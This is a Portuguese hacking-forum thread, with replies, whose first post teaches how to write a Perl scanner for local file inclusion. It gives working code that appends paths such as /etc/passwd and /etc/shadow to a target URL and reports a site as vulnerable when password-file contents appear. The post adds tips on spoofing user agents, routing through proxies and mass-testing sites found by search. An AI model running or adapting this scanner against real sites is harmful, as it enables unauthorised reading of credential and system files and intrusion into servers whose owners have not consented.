Página 1 de 2 12 ÚltimoÚltimo
Resultados 1 a 10 de 11
  1. #1
    Newbie
    Data de Ingresso
    Aug 2008
    Posts
    35

    Criando scanner de vulnerabilidades em perl

    vou tentar ensinar como criar um scanner em perl usando: LWP::UserAgent e HTTP::Request

    vou me basear em 2 dos meus scans de rfi e de lfi
    http://www.freewebs.com/dr4k3/Sources/rfi_scan2.txt // http://www.freewebs.com/dr4k3/Sources/lfi_scan.txt

    Código:
    #!/usr/bin/perl
    [...]
    
    use LWP::UserAgent;
    use HTTP::Request;
    Como em toda open-source #!/usr/bin/perl seria o caminho do interpretador e logo após os módulos que o programa ira usar...

    bom cada scanner tem seu método de busca e cada vulnerabilidade tem o seu método de explorar com no rfi é necessário uma shell para a verificação e no lfi não por este motivo peguei estes 2 scans...

    primeiro precisamos obter as vulnerabilidades vou disponibilizar um database onde guardo algumas vuls ele ta meio bagunçado mais ajuda
    após obter as vuls podemos começar a codar o scanner:

    Código:
    print ">Insert Link[...]\n";
    print '>';chomp($link = <STDIN>);
    
    if($link !~ /http:\/\//) { $link = "http://$link"; }
    esta é uma parte fundamental, é ai que o user do scan vai por o link para a verificação também é usado uma regex pra colocar http:// antes do link, esse método também pode ser feito de outros jeitos como
    Código:
    $link = $ARGV[0]; if($link !~ /http:\/\//) { $link = "http://$link"; }
    ai é um exemplo dos esquemas usados em exploit onde a pessoa teria que colocar o link na linha de comando ex:
    perl scan.pl http://www.google.com

    e também pode ser obtido link a partir de uma busca com scanner mais avançados onde ele busca os sites em rfi por exemplo salva até o = e ai sim testa os sites um de cada vez, também da para inserir um lista com os sites, bom existem varias maneiras vem de cada um qual usar...

    Código:
    print "\n>press [enter] to check the version of httpd[...]\n";
    $httpd =<STDIN>;
    
    $host = $link;
    $useragent = LWP::UserAgent->new;
    $resp = $useragent->head($host);
    print $resp->headers_as_string;
    este é um complemento básico para o scan ele retorna com as infos do servidor

    Código:
    #site = www.google.com
    
    Cache-Control: private, max-age=0
    Connection: Close
    Date: Thu, 29 Jan 2009 15:38:51 GMT
    Server: gws
    Content-Length: 0
    Content-Type: text/html; charset=ISO-8859-1
    Expires: -1
    Client-Date: Thu, 29 Jan 2009 15:38:53 GMT
    Client-Peer: 209.85.193.99:80
    Client-Response-Num: 1
    Set-Cookie: PREF=ID=e4fe4e1d4110bc09:TM=1233243531:LM=1233243531:S=RQyjxOxg-i58wK2B; expires=Sat, 29-Jan-2011 15:38:51 GMT; path=/; domain=.google.com.br
    esse complemento não é necessário no scan porem deixa o scan mais completo e pode ser útil para foot print, engenharia reversa etc...

    Código:
    print "\n>press [enter] to check the vulnerability in lfi[...]\n";
    $start =<STDIN>;
    
    # scanning 314 paths
    
    @vuls = ('/etc/passwd',
    '/etc/shadow',
    '/etc/group',
    '/etc/security/group',
    '/etc/security/passwd',
    '/etc/security/user',
    '/etc/security/environ',
    '/etc/security/limits',
    '/usr/lib/security/mkuser.default',
    [...]
    ai começa o scanner, as vuls são armazenadas em uma array e serão usadas na verificação pelo scan

    também existem scanners como o st4lk3r que guarda as vuls em uma arquivo separado em um txt por exemplo e depois abre esse arquivo e joga tudo pra array

    Código:
    open (sql, vuls.txt) or die "error [$!]";
    @vul = <sql>;
    close(sql);
    outros usam banco de dados sql outros pedem a vul pro user enfim cada coder sabe qual método usar e em qual scanner vai ficar melhor...

    Código:
    print ">start scaning[...]\n";
    
    
    foreach $scan(@vuls){
    
    $url = $link.$scan;
    $request = HTTP::Request->new(GET=>$url);
    $useragent = LWP::UserAgent->new();
    
    $response = $useragent->request($request);
    if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
    else { $msg = "Not Found";}
    
    print "$scan..........[$msg]\n";
    }
    o foreach transforma a array em varias escalares e faz com que o lwp se conecte a todas elas uma após a outra.
    Código:
    $url = $link.$scan;
    $request = HTTP::Request->new(GET=>$url);
    $useragent = LWP::UserAgent->new();
    iniciada conexão por lwp com a $url que seria o link + vul

    como da para perceber este scanner é muito básico scanners mais avançados como o st4lk3r por exemplo usam serviços do lwp mais avançados como proxy e simuladores:

    Código:
    if($os eq "-bsd"){
    $ua->agent('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.1.12) Gecko/20080301 Firefox/2.0.0.12');}
    if($os eq "-win"){
    $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Firefox/2.0.0.12');}
    if($os eq "-lnx"){
    $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/20020823 Firefox/2.0.0.12');}
    if($proxy!=0) {$ua->env_proxy(); 
    $ua->proxy("http", "http://$proxy/"); } 
    $response = $ua->request($request);
    não vou explicar as variáveis porque o code é complexo so pegando a source mesmo e vendo para intender...

    Código:
    if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;}
    else { $msg = "Not Found";}
    
    print "$scan..........[$msg]\n";
    }
    ai seria o que informaria se esta vulnerável ou não usando a seguinte lógica:

    se a pagina carregar normalmente e tiver a string root:x: na pagina a $msg sera "Vulnerable" caso contrario a $msg sera "Not Found"

    mais nos so armazenamos o resultado na variável precisamos mostrar pro user que é a função do print. Com o print o scan retornaria isso

    /etc/passwd..........[Not Found]
    /etc/shadow..........[Not Found]
    /etc/group..........[Not Found]
    /etc/security/group..........[Not Found]
    /etc/security/passwd..........[Not Found]
    /etc/security/user..........[Not Found]
    /etc/security/environ..........[Vulnerable]
    /etc/security/limits..........[Not Found]
    /usr/lib/security/mkuser.default..........[Not Found]
    /apache/logs/access.log..........[Not Found]
    [...]

    existem outros scanners que não mostram isso apenas mostra se esta vulnerável ou não, outros abrem um txt com a vul, bom como já disse isso vem de cada um e cada coder sabe o que usar e quando usar.

    esse scanner é muito básico mais já da para ter uma ideia boa do funcionamento de um scanner por teste de url e claro que você pode complementar o scanner com proxy, googler, banco de dados etc... No cpan você também encontra outro módulos como WWW:Mechanize que são rápidos e muito eficientes e também pode encontrar mais coisas sobre lwp.

    vul = vulnerabilidade/vulneravel
    txt = arquivo.txt
    coder = programador

    greetz: c00kies creW / botecounix.com.br / c0d3rs.tk /irc

  2. #2
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    979

    Re: Criando scanner de vulnerabilidades em perl

    Simplesmente fantastico o seu tutorial, me ajudou muito e tirou algumas duvidas antigas. Scans em perl são meio caminho andando para o pote de ouro do outro lado do arco-iris!

    kakaka

    valeu fera.
    Pense em uma frase bonita.

  3. #3
    Newbie
    Data de Ingresso
    Aug 2008
    Posts
    35

    Re: Criando scanner de vulnerabilidades em perl

    Sei que ja tem um artigo assim porem este eu ensino a mexer com LWP que na minha opinião é melhor que socket para esta coisas pois contem recursos como proxy e simuladores...

  4. #4
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    979

    Re: Criando scanner de vulnerabilidades em perl

    Dr4k3, tem alguma apostila/ebook que você já leu e pode indicar em relação ao perl?
    Pense em uma frase bonita.

  5. #5

    Re: Criando scanner de vulnerabilidades em perl

    muito legal mesmo

  6. #6

    Re: Criando scanner de vulnerabilidades em perl

    Ótimo, compartilhando seus conhecimentos.

  7. #7
    Newbie
    Data de Ingresso
    Aug 2008
    Posts
    35

    Re: Criando scanner de vulnerabilidades em perl

    Sugestões para mais artigos?

  8. #8

    Re: Criando scanner de vulnerabilidades em perl

    Citação Postado originalmente por Dr4k3
    Sugestões para mais artigos?
    http://www.forum-invaders.com.br/phpBB/ ... &t=8559548
    Proposta de trabalho: http://www.forum-invaders.com.br/vb/...ta-de-trabalho pode entrar em contato comigo referente a proposta de trabalho através do msn: bravacursos@hotmail.com

  9. #9
    Lamer
    Data de Ingresso
    Nov 2011
    Posts
    15
    e Onde uso e executo tudo isso ae?

  10. #10
    Hacker Avatar de acpguedes
    Data de Ingresso
    Sep 2011
    Localização
    #!/usr/bin/env perl
    Posts
    955
    expetacular... precisamos de mais artigos bons assim nessa area...

    eu ainda não me sinto a vontade ou capacitado de escrever um... depois vou estudar mais aqui
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!

Tópicos Similares

  1. [PERL] RFI Scanner
    Por Cron Asatruar no fórum Perl
    Respostas: 11
    Último Post: 03 Dec 2011, 10:18
  2. [Tutorial] Scanner de vulnerabilidades Nessus
    Por K00D13 no fórum Linux / Unix / FreeBSD
    Respostas: 27
    Último Post: 15 Sep 2009, 01:10
  3. WebPage Scanner in Perl!
    Por sendai no fórum Perl
    Respostas: 1
    Último Post: 10 Apr 2006, 20:25

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •